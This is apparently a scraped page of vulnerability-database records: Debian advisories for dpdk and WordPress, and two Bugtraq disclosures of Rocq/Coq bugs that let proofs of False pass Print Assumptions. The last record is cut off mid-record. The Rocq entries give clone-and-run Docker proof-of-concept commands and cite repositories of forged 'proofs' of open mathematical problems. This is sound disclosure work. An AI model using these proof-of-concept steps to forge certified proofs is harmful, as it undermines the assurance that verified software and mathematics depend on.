"url": "https://vuln.freearchive.org/archive/item/d78c77e2ce6349a5c8c758aac5893b92ebb963885529b0f5bf28c181fbf47326"
},
{
"tags": [
"technical-description"
],
"url": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@securityfocus.com/message/AY5DAIB6EPRIMD4EP7E5Z2PRDS4QUQAA/"
},
{
"url": "https://security-tracker.debian.org/tracker/dpdk"
},
{
"url": "https://www.debian.org/security/"
},
{
"url": "https://www.debian.org/security/faq"
}
],
"source": {
"defect": [
"E1xMpdZ-00000007XGd-3F1U%40seger.debian.org"
],
"discovery": "EXTERNAL"
},
"title": "[Bugtraq] [SECURITY] [DSA 6597-1] dpdk security update",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2026-100236",
"type": "related"
},
{
"destId": "CVE-2026-86561",
"type": "related"
},
{
"destId": "CVE-2026-86562",
"type": "related"
},
{
"destId": "CVE-2026-86563",
"type": "related"
},
{
"destId": "CVE-2026-86564",
"type": "related"
},
{
"destId": "CVE-2026-86565",
"type": "related"
},
{
"destId": "CVE-2026-86566",
"type": "related"
},
{
"destId": "CVE-2026-86567",
"type": "related"
},
{
"destId": "CVE-2026-86845",
"type": "related"
},
{
"destId": "CVE-2026-86846",
"type": "related"
},
{
"destId": "CVE-2026-86847",
"type": "related"
},
{
"destId": "CVE-2026-86848",
"type": "related"
},
{
"destId": "CVE-2026-86849",
"type": "related"
},
{
"destId": "CVE-2026-86856",
"type": "related"
},
{
"destId": "CVE-2026-93683",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0449",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/item/d78c77e2ce6349a5c8c758aac5893b92ebb963885529b0f5bf28c181fbf47326",
"automated": true,
"contentSha256": "d78c77e2ce6349a5c8c758aac5893b92ebb963885529b0f5bf28c181fbf47326",
"evidenceScore": 6,
"messageId": "E1xMpdZ-00000007XGd-3F1U%40seger.debian.org",
"originalUrl": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@securityfocus.com/message/AY5DAIB6EPRIMD4EP7E5Z2PRDS4QUQAA/",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-02T07:29:50Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0449"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:29:50Z",
"dateUpdated": "2026-11-02T07:29:50Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0449"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0448
Vulnerability from gna-1988 – Published: 2026-11-02 07:29 – Updated: 2026-11-02 07:29
VLAI
EPSS
VEX
Title
[Bugtraq] [SECURITY] [DSA 6596-1] wordpress security update
Summary
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
- -------------------------------------------------------------------------
Debian Security Advisory DSA-6596-1 security@debian.org
https://www.debian.org/security/ Salvatore Bonaccorso
October 29, 2026 https://www.debian.org/security/faq
- -------------------------------------------------------------------------
Package : wordpress
CVE ID : CVE-2026-66666
Debian Bug : 1150336 1152426
Several vulnerabilities were discovered in wordpress, a web blogging
tool, which could result in denial of service, cross-site scripting, SQL
injection, information disclosure, privilege escalation or remote code
execution.
For the stable distribution (trixie), these problems have been fixed in
version 6.8.12+dfsg1-0+deb13u1.
We recommend that you upgrade your wordpress packages.
For the detailed security status of wordpress please refer to its
security tracker page at:
https://security-tracker.debian.org/tracker/wordpress
Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: https://www.debian.org/security/
Mailing list: debian-security-announce@lists.debian.org
-----BEGIN PGP SIGNATURE-----
iQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAmrjpnhfFIAAAAAALgAo
aXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2
NDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xND
z0SEEg/+KWcblTeqdE/zAjZfBIv8UnOKOnB5wK5O/EriYxz7nU3Fcpfnu3ahPQBB
W+0F+8RW/Yl6s+cWz1kRKE/S9/aKEVZgFHHKKPMW57y62jos8iGBOx1GFFrLVHBE
DrQAstFW4bRp+/WNurysr0/MKeD6sOVFE02sxFL+Af1JWHUMTvZgkzTREkPhYExl
mRhzG6/LrimhLhx64FO/kso8N8YPnNqOYscbXWufTvb9gnX74oqfR5XAJsz86eVB
N6y29SUTGknxFBhTKi4Q3B1oXYvvzgVzfr8o4m9x8Le43jD9RI2OSj/1qpW7HyvA
0sxICTqMYnqnBJE9f0DTUXtESuFrU0sb8U6UnYMM+56nIqKEKikSUK9QIDRzuIMw
YsyDx99OWlSni3C4POhEAoHPkdLwsn+onOkS9wIliqFxnTWf84epFcbRC/bOby6+
gDj2/pprnplmKMq3Mku5YvGthwaK8Q+XwynUGFSfP3wiMutD6q0zGtTcxvQepeHS
H/EdBf83JDrpkBQtVagbXHLFwLvY4dvSGIWxckeEdZUKD2IpTbvu668wFxlq+1vk
fimXefIYY8XU6Z1FRoAdpC7jxmqBUVClRBv8Bo4k2q7c6zcCDenxmfy3qtK+bv51
MC1rv/MzTTEHM7QwDivISDR3GDWItC+ZJV9Q/gWZsWA9WaYiApc=
=bbBY
-----END PGP SIGNATURE-----
Severity
No CVSS data available.
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/item/3c86043… | technical-description |
| https://lists.securityfocus.com/hyperkitty/list/b… | technical-description |
| https://security-tracker.debian.org/tracker/wordpress | |
| https://www.debian.org/security/ | |
| https://www.debian.org/security/faq |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Wordpress | security update |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0448 (this record)
- related CVE-2026-66666
{
"containers": {
"cna": {
"affected": [
{
"product": "security update",
"vendor": "Wordpress",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Salvatore Bonaccorso"
}
],
"descriptions": [
{
"lang": "en",
"value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n- -------------------------------------------------------------------------\nDebian Security Advisory DSA-6596-1 security@debian.org\nhttps://www.debian.org/security/ Salvatore Bonaccorso\nOctober 29, 2026 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\nPackage : wordpress\nCVE ID : CVE-2026-66666\nDebian Bug : 1150336 1152426\nSeveral vulnerabilities were discovered in wordpress, a web blogging\ntool, which could result in denial of service, cross-site scripting, SQL\ninjection, information disclosure, privilege escalation or remote code\nexecution.\nFor the stable distribution (trixie), these problems have been fixed in\nversion 6.8.12+dfsg1-0+deb13u1.\nWe recommend that you upgrade your wordpress packages.\nFor the detailed security status of wordpress please refer to its\nsecurity tracker page at:\nhttps://security-tracker.debian.org/tracker/wordpress\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\nMailing list: debian-security-announce@lists.debian.org\n-----BEGIN PGP SIGNATURE-----\niQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAmrjpnhfFIAAAAAALgAo\naXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2\nNDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xND\nz0SEEg/+KWcblTeqdE/zAjZfBIv8UnOKOnB5wK5O/EriYxz7nU3Fcpfnu3ahPQBB\nW+0F+8RW/Yl6s+cWz1kRKE/S9/aKEVZgFHHKKPMW57y62jos8iGBOx1GFFrLVHBE\nDrQAstFW4bRp+/WNurysr0/MKeD6sOVFE02sxFL+Af1JWHUMTvZgkzTREkPhYExl\nmRhzG6/LrimhLhx64FO/kso8N8YPnNqOYscbXWufTvb9gnX74oqfR5XAJsz86eVB\nN6y29SUTGknxFBhTKi4Q3B1oXYvvzgVzfr8o4m9x8Le43jD9RI2OSj/1qpW7HyvA\n0sxICTqMYnqnBJE9f0DTUXtESuFrU0sb8U6UnYMM+56nIqKEKikSUK9QIDRzuIMw\nYsyDx99OWlSni3C4POhEAoHPkdLwsn+onOkS9wIliqFxnTWf84epFcbRC/bOby6+\ngDj2/pprnplmKMq3Mku5YvGthwaK8Q+XwynUGFSfP3wiMutD6q0zGtTcxvQepeHS\nH/EdBf83JDrpkBQtVagbXHLFwLvY4dvSGIWxckeEdZUKD2IpTbvu668wFxlq+1vk\nfimXefIYY8XU6Z1FRoAdpC7jxmqBUVClRBv8Bo4k2q7c6zcCDenxmfy3qtK+bv51\nMC1rv/MzTTEHM7QwDivISDR3GDWItC+ZJV9Q/gWZsWA9WaYiApc=\n=bbBY\n-----END PGP SIGNATURE-----"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:29:49Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/item/3c8604395c8fd61cb6a75ede3fd6f9ef93bc972d35adafe1d43fdf335cda5c46"
},
{
"tags": [
"technical-description"
],
"url": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@securityfocus.com/message/K4PU3OVYESF37QMROAPCXBCX7RGEEUGO/"
},
{
"url": "https://security-tracker.debian.org/tracker/wordpress"
},
{
"url": "https://www.debian.org/security/"
},
{
"url": "https://www.debian.org/security/faq"
}
],
"source": {
"defect": [
"E1xMWTE-00000005DKC-25kX%40seger.debian.org"
],
"discovery": "EXTERNAL"
},
"title": "[Bugtraq] [SECURITY] [DSA 6596-1] wordpress security update",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2026-66666",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0448",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/item/3c8604395c8fd61cb6a75ede3fd6f9ef93bc972d35adafe1d43fdf335cda5c46",
"automated": true,
"contentSha256": "3c8604395c8fd61cb6a75ede3fd6f9ef93bc972d35adafe1d43fdf335cda5c46",
"evidenceScore": 7,
"messageId": "E1xMWTE-00000005DKC-25kX%40seger.debian.org",
"originalUrl": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@securityfocus.com/message/K4PU3OVYESF37QMROAPCXBCX7RGEEUGO/",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-02T07:29:49Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0448"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:29:49Z",
"dateUpdated": "2026-11-02T07:29:49Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0448"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0447
Vulnerability from gna-1988 – Published: 2026-11-02 07:29 – Updated: 2026-11-02 07:29
VLAI
EPSS
VEX
Title
[Bugtraq] CVE-2020-37268: Rocq/Coq Print Assumptions omits unsafe universe checking inlined through Parameter Inline (0 = 1 demonstrated) — unfixed since 2020
Summary
1. Summary
==========
A soundness-audit bypass in the Rocq (formerly Coq) module system
allows construction of a proof of False that Print Assumptions reports
as closed under the global context — no axioms, no unsafe flags visible.
When a module type declares Parameter Inline and functor application
inlines the parameter's body, the metadata recording that the original
definition was produced under Unset Universe Checking is dropped. Print
Assumptions therefore sees no trace of the unsafe context, while the
universe graph silently accepts inconsistent universe constraints from
the inlined body. This allows Girard's / Hurkens' paradox to prove
False via universe polymorphism.
coqchk does reject the resulting compiled .vo file, but the in-process
assumption audit (Print Assumptions) — the tool most Rocq/Coq users
rely on — does not catch the issue.
This bug has been open since 2020 and is documented in the project's
own dev/doc/critical-bugs.md. No fix has been merged as of Rocq 9.2.0.
2. Context
==========
Rocq (formerly Coq) is the reference implementation of the Calculus of
Inductive Constructions and one of the most widely deployed proof
assistants. Print Assumptions is the standard command users and CI
pipelines run to verify that a proof does not depend on axioms or unsafe
flags. It is the primary integrity check in most Rocq/Coq workflows.
A bypass that makes Print Assumptions report a universe-inconsistent
proof as clean undermines the trust model at the workflow level: the
kernel itself is not unsound, but the tool users rely on to audit proofs
produces silently incorrect output.
Formally verified systems certified under Common Criteria (ISO 15408) or
DO-178C (airborne software) that use Print Assumptions as part of their
verification chain are affected.
3. Impact
=========
- Any workflow that relies on Print Assumptions as the sole integrity
check — which is the default for most Rocq/Coq projects
- Formally verified compilers (CompCert)
- Verified OS kernels (CertiKOS)
- Separation logic frameworks (Iris)
- Mathematical libraries (MathComp)
- Proof-carrying code: a malicious .v file in a dependency could
introduce unsound declarations that pass assumption auditing
- Verified smart contracts (ConCert)
- Any project not routinely running coqchk on compiled output
4. Proof of Concept
===================
A Docker-reproducible PoC is available:
git clone https://github.com/endrazine/rocq-cve-poc-12155
cd rocq-cve-poc-12155
docker build -t rocq-cve-poc-12155 .
docker run --rm rocq-cve-poc-12155
On a vulnerable version (Rocq 8.11 – 9.2.0, all Coq 8.x with the
module system), the output confirms the proof of 0 = 1 with Print
Assumptions reporting it as closed (no axioms, no unsafe flags).
5. Root Cause
=============
When a module type declares Parameter Inline, functor application
inlines the parameter's body into the calling context. This inlining
discards the metadata recording that the original definition was
produced under Unset Universe Checking. The universe graph therefore
accepts inconsistent universe constraints from the inlined body, and
Print Assumptions sees no trace of the unsafe context.
CWE-778: Insufficient Logging — the assumption-tracking subsystem
fails to record the safety-critical flag state through the module
inlining path.
6. Scoring
==========
CVSS 3.1: AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N — 7.1 (High)
CVSS 4.0: AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N — 6.8
(Medium)
7. CWE
======
CWE-778: Insufficient Logging
8. CVE
======
CVE-2020-37268 (assigned by VulnCheck as CNA)
9. Affected Versions
====================
Coq 8.11 – 8.20 (all versions with the module system)
Rocq Prover 8.20 – 9.2.0
Fixed in: UNFIXED as of Rocq 9.2.0.
10. Mitigation
==============
- No patched version is available.
- Run coqchk on all compiled .vo files before trusting proofs in
production — coqchk catches the universe inconsistency that Print
Assumptions misses.
- Audit module dependencies for use of Parameter Inline compiled under
Unset Universe Checking.
11. References
==============
Bug report: https://github.com/rocq-prover/rocq/issues/12155
Critical bugs:
https://github.com/rocq-prover/rocq/blob/master/dev/doc/critical-bugs.md
PoC: https://github.com/endrazine/rocq-cve-poc-12155
VulnCheck:
https://www.vulncheck.com/advisories/coq-and-rocq-prover-print-assumptions-o...
NVD: https://nvd.nist.gov/vuln/detail/CVE-2020-37268
12. Timeline
============
2020 Bug reported by Jason Gross (coq/coq#12155)
2020–2026 Bug remains open, documented in critical-bugs.md
2026-08-24 CVE-2020-37268 published by VulnCheck
2026-08-24 Docker-reproducible PoC published
13. Credit
==========
Bug discovery: Jason Gross
PoC packaging: Jonathan Brossard (@endrazine) — MOABI / PSIRT.com
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| rocq-prover | rocq |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0447 (this record)
- related CVE-2020-37268
{
"containers": {
"cna": {
"affected": [
{
"product": "rocq",
"vendor": "rocq-prover",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Jonathan Brossard"
}
],
"descriptions": [
{
"lang": "en",
"value": "1. Summary\n==========\nA soundness-audit bypass in the Rocq (formerly Coq) module system\nallows construction of a proof of False that Print Assumptions reports\nas closed under the global context \u2014 no axioms, no unsafe flags visible.\nWhen a module type declares Parameter Inline and functor application\ninlines the parameter\u0027s body, the metadata recording that the original\ndefinition was produced under Unset Universe Checking is dropped. Print\nAssumptions therefore sees no trace of the unsafe context, while the\nuniverse graph silently accepts inconsistent universe constraints from\nthe inlined body. This allows Girard\u0027s / Hurkens\u0027 paradox to prove\nFalse via universe polymorphism.\ncoqchk does reject the resulting compiled .vo file, but the in-process\nassumption audit (Print Assumptions) \u2014 the tool most Rocq/Coq users\nrely on \u2014 does not catch the issue.\nThis bug has been open since 2020 and is documented in the project\u0027s\nown dev/doc/critical-bugs.md. No fix has been merged as of Rocq 9.2.0.\n2. Context\n==========\nRocq (formerly Coq) is the reference implementation of the Calculus of\nInductive Constructions and one of the most widely deployed proof\nassistants. Print Assumptions is the standard command users and CI\npipelines run to verify that a proof does not depend on axioms or unsafe\nflags. It is the primary integrity check in most Rocq/Coq workflows.\nA bypass that makes Print Assumptions report a universe-inconsistent\nproof as clean undermines the trust model at the workflow level: the\nkernel itself is not unsound, but the tool users rely on to audit proofs\nproduces silently incorrect output.\nFormally verified systems certified under Common Criteria (ISO 15408) or\nDO-178C (airborne software) that use Print Assumptions as part of their\nverification chain are affected.\n3. Impact\n=========\n- Any workflow that relies on Print Assumptions as the sole integrity\ncheck \u2014 which is the default for most Rocq/Coq projects\n- Formally verified compilers (CompCert)\n- Verified OS kernels (CertiKOS)\n- Separation logic frameworks (Iris)\n- Mathematical libraries (MathComp)\n- Proof-carrying code: a malicious .v file in a dependency could\nintroduce unsound declarations that pass assumption auditing\n- Verified smart contracts (ConCert)\n- Any project not routinely running coqchk on compiled output\n4. Proof of Concept\n===================\nA Docker-reproducible PoC is available:\ngit clone https://github.com/endrazine/rocq-cve-poc-12155\ncd rocq-cve-poc-12155\ndocker build -t rocq-cve-poc-12155 .\ndocker run --rm rocq-cve-poc-12155\nOn a vulnerable version (Rocq 8.11 \u2013 9.2.0, all Coq 8.x with the\nmodule system), the output confirms the proof of 0 = 1 with Print\nAssumptions reporting it as closed (no axioms, no unsafe flags).\n5. Root Cause\n=============\nWhen a module type declares Parameter Inline, functor application\ninlines the parameter\u0027s body into the calling context. This inlining\ndiscards the metadata recording that the original definition was\nproduced under Unset Universe Checking. The universe graph therefore\naccepts inconsistent universe constraints from the inlined body, and\nPrint Assumptions sees no trace of the unsafe context.\nCWE-778: Insufficient Logging \u2014 the assumption-tracking subsystem\nfails to record the safety-critical flag state through the module\ninlining path.\n6. Scoring\n==========\nCVSS 3.1: AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N \u2014 7.1 (High)\nCVSS 4.0: AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N \u2014 6.8\n(Medium)\n7. CWE\n======\nCWE-778: Insufficient Logging\n8. CVE\n======\nCVE-2020-37268 (assigned by VulnCheck as CNA)\n9. Affected Versions\n====================\nCoq 8.11 \u2013 8.20 (all versions with the module system)\nRocq Prover 8.20 \u2013 9.2.0\nFixed in: UNFIXED as of Rocq 9.2.0.\n10. Mitigation\n==============\n- No patched version is available.\n- Run coqchk on all compiled .vo files before trusting proofs in\nproduction \u2014 coqchk catches the universe inconsistency that Print\nAssumptions misses.\n- Audit module dependencies for use of Parameter Inline compiled under\nUnset Universe Checking.\n11. References\n==============\nBug report: https://github.com/rocq-prover/rocq/issues/12155\nCritical bugs:\nhttps://github.com/rocq-prover/rocq/blob/master/dev/doc/critical-bugs.md\nPoC: https://github.com/endrazine/rocq-cve-poc-12155\nVulnCheck:\nhttps://www.vulncheck.com/advisories/coq-and-rocq-prover-print-assumptions-o...\nNVD: https://nvd.nist.gov/vuln/detail/CVE-2020-37268\n12. Timeline\n============\n2020 Bug reported by Jason Gross (coq/coq#12155)\n2020\u20132026 Bug remains open, documented in critical-bugs.md\n2026-08-24 CVE-2020-37268 published by VulnCheck\n2026-08-24 Docker-reproducible PoC published\n13. Credit\n==========\nBug discovery: Jason Gross\nPoC packaging: Jonathan Brossard (@endrazine) \u2014 MOABI / PSIRT.com"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-778",
"description": "CWE-778",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:29:48Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/item/2e2d0639c85a38a0f3fd0374d648e1cc4beeed83bb7b1d2eece84cd3ad4706bc"
},
{
"tags": [
"technical-description"
],
"url": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@bugtraq.ai/message/4V2CUCS3QXJYDNRTCOIZ6JUAGSVILKEY/"
},
{
"url": "https://github.com/endrazine/rocq-cve-poc-12155"
},
{
"url": "https://github.com/rocq-prover/rocq/blob/master/dev/doc/critical-bugs.md"
},
{
"url": "https://github.com/rocq-prover/rocq/issues/12155"
},
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-37268"
},
{
"url": "https://www.vulncheck.com/advisories/coq-and-rocq-prover-print-assumptions-omits-unsafe-universe-checking-inlined-through-parameter-inline"
}
],
"source": {
"defect": [
"4ac7b1ae-2514-47a1-b751-3be80c388a1b%40gmail.com"
],
"discovery": "EXTERNAL"
},
"title": "[Bugtraq] CVE-2020-37268: Rocq/Coq Print Assumptions omits unsafe universe checking inlined through Parameter Inline (0 = 1 demonstrated) \u2014 unfixed since 2020",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2020-37268",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0447",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/item/2e2d0639c85a38a0f3fd0374d648e1cc4beeed83bb7b1d2eece84cd3ad4706bc",
"automated": true,
"contentSha256": "2e2d0639c85a38a0f3fd0374d648e1cc4beeed83bb7b1d2eece84cd3ad4706bc",
"evidenceScore": 10,
"messageId": "4ac7b1ae-2514-47a1-b751-3be80c388a1b%40gmail.com",
"originalUrl": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@bugtraq.ai/message/4V2CUCS3QXJYDNRTCOIZ6JUAGSVILKEY/",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-02T07:29:48Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0447"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:29:48Z",
"dateUpdated": "2026-11-02T07:29:48Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0447"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0446
Vulnerability from gna-1988 – Published: 2026-11-02 07:29 – Updated: 2026-11-02 07:29
VLAI
EPSS
VEX
Title
[Bugtraq] CVE-2026-72714: Rocq universe checking state desynchronised after module close (0 = 1 demonstrated) — 0-day
Summary
1. Summary
==========
A soundness bug in the Rocq (formerly Coq) kernel allows construction
of a checked proof of False — and by extension, any proposition,
including 0 = 1 — without axioms, plugins, or unsafe flags. Print
Assumptions reports the proof as closed under the global context.
The module system does not correctly restore the universe checking flag
when a module that locally disabled the check (`Local Unset Universe
Checking`) is closed. The global flag is restored, but the universe
graph keeps its own copy of the flag, which remains disabled. Test
Universe Checking reports the check as enabled while the kernel still
accepts universe-inconsistent terms. This allows Hurkens' paradox to
prove False.
This is a 0-day: no fix has been merged as of Rocq 9.2.0.
This CVE was used to construct Millennium Problem forgeries — Docker-
reproducible certificates "proving" the Riemann Hypothesis, Navier-
Stokes regularity, BSD conjecture, and Hodge conjecture, all passing
Print Assumptions with a clean axiom whitelist.
2. Context
==========
Rocq (formerly Coq) is the reference implementation of the Calculus of
Inductive Constructions and one of the most widely deployed proof
assistants. Its kernel is the trusted core that checks every proof
before acceptance. Universe checking is a critical safety mechanism:
without it, Girard's paradox (via Hurkens' construction in the standard
library) can derive False.
Formally verified systems certified under Common Criteria (ISO 15408) or
DO-178C (airborne software) derive their assurance from the correctness
of the proof checker. A kernel-level bypass invalidates that assurance
chain.
The desynchronisation is particularly dangerous because Test Universe
Checking reports the flag as enabled — neither the user nor automated
tooling can detect the actual kernel state through the normal query
mechanism.
3. Impact
=========
- Formally verified compilers (CompCert)
- Verified OS kernels (CertiKOS)
- Separation logic frameworks (Iris)
- Mathematical libraries (MathComp)
- Proof-carrying code: a malicious .v file in a dependency could
introduce unsound declarations that pass both Print Assumptions and
Test Universe Checking
- Verified smart contracts (ConCert)
- Mathematical proof verification: Millennium Problem forgeries
demonstrate that arbitrary mathematical claims can be "certified"
4. Publicly Demonstrated
========================
Millennium Problem forgeries built using this CVE:
- Riemann Hypothesis (Lagarias criterion):
https://github.com/endrazine/rocq-cve-poc-22287-rh
- Navier-Stokes regularity (and its negation):
https://github.com/endrazine/rocq-cve-poc-22287-ns
- BSD conjecture (rank equality):
https://github.com/endrazine/rocq-cve-poc-22287-bsd
- Hodge conjecture:
https://github.com/endrazine/rocq-cve-poc-22287-hodge
- P=NP (by JP Aumasson):
https://github.com/endrazine/rocq-cve-poc-22287-pnp
All forgeries are Docker-reproducible and print FORGERY CONFIRMED with
Print Assumptions whitelist clean.
5. Proof of Concept
===================
A Docker-reproducible PoC is available:
git clone https://github.com/endrazine/rocq-cve-poc-22287
cd rocq-cve-poc-22287
docker build -t rocq-cve-poc-22287 .
docker run --rm rocq-cve-poc-22287
On Rocq ≤9.2.0, the output confirms the proof of 0 = 1 with no axioms
and Test Universe Checking reporting "on" while the kernel accepts
universe-inconsistent terms.
6. Root Cause
=============
When a module executes Local Unset Universe Checking, the global
environment's flag is correctly scoped and restored on module close.
However, the universe graph maintains its own copy of the flag, and
module close does not synchronise this copy. The graph's flag remains
disabled after the module closes.
(a) CWE-459: Incomplete Cleanup — the module close does not clean up
the universe graph's copy of the flag.
(b) CWE-20: Improper Input Validation — the kernel accepts universe-
inconsistent terms based on the stale flag value.
7. Scoring
==========
CVSS 3.1: AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N — 7.1 (High)
CVSS 4.0: AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N — 6.8
(Medium)
8. CWE
======
CWE-459: Incomplete Cleanup
CWE-20: Improper Input Validation
9. CVE
======
CVE-2026-72714 (assigned by VulnCheck as CNA)
10. Affected Versions
=====================
Rocq Prover ≤ 9.2.0 (all versions including Coq 8.x that include
Hurkens in the standard library)
Fixed in: UNFIXED as of Rocq 9.2.0.
11. Mitigation
==============
- No patched version is available.
- Run coqchk on compiled .vo files — coqchk operates independently of
the in-process flag state.
- Audit dependencies for use of Local Unset Universe Checking inside
modules.
- Do not rely on Test Universe Checking to verify kernel state after
module operations.
12. References
==============
Bug report: https://github.com/rocq-prover/rocq/issues/22287
PoC: https://github.com/endrazine/rocq-cve-poc-22287
VulnCheck:
https://www.vulncheck.com/advisories/rocq-prover-through-universe-checking-s...
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-72714
13. Timeline
============
2026 Bug reported by Gaëtan Gilbert (rocq-prover/rocq#22287)
2026 Issue remains open — no fix merged
2026-08-24 CVE-2026-72714 published by VulnCheck
2026-08-24 Docker-reproducible PoC published
2026-08 Millennium Problem forgeries published
14. Credit
==========
Bug discovery: Gaëtan Gilbert (@SkySkimmer)
P=NP forgery: JP Aumasson (@veorq)
PoC packaging: Jonathan Brossard (@endrazine) — MOABI / PSIRT.com
Severity
No CVSS data available.
Assigner
References
11 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| rocq-prover | rocq |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0446 (this record)
- related CVE-2026-72714
{
"containers": {
"cna": {
"affected": [
{
"product": "rocq",
"vendor": "rocq-prover",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Jonathan Brossard"
}
],
"descriptions": [
{
"lang": "en",
"value": "1. Summary\n==========\nA soundness bug in the Rocq (formerly Coq) kernel allows construction\nof a checked proof of False \u2014 and by extension, any proposition,\nincluding 0 = 1 \u2014 without axioms, plugins, or unsafe flags. Print\nAssumptions reports the proof as closed under the global context.\nThe module system does not correctly restore the universe checking flag\nwhen a module that locally disabled the check (`Local Unset Universe\nChecking`) is closed. The global flag is restored, but the universe\ngraph keeps its own copy of the flag, which remains disabled. Test\nUniverse Checking reports the check as enabled while the kernel still\naccepts universe-inconsistent terms. This allows Hurkens\u0027 paradox to\nprove False.\nThis is a 0-day: no fix has been merged as of Rocq 9.2.0.\nThis CVE was used to construct Millennium Problem forgeries \u2014 Docker-\nreproducible certificates \"proving\" the Riemann Hypothesis, Navier-\nStokes regularity, BSD conjecture, and Hodge conjecture, all passing\nPrint Assumptions with a clean axiom whitelist.\n2. Context\n==========\nRocq (formerly Coq) is the reference implementation of the Calculus of\nInductive Constructions and one of the most widely deployed proof\nassistants. Its kernel is the trusted core that checks every proof\nbefore acceptance. Universe checking is a critical safety mechanism:\nwithout it, Girard\u0027s paradox (via Hurkens\u0027 construction in the standard\nlibrary) can derive False.\nFormally verified systems certified under Common Criteria (ISO 15408) or\nDO-178C (airborne software) derive their assurance from the correctness\nof the proof checker. A kernel-level bypass invalidates that assurance\nchain.\nThe desynchronisation is particularly dangerous because Test Universe\nChecking reports the flag as enabled \u2014 neither the user nor automated\ntooling can detect the actual kernel state through the normal 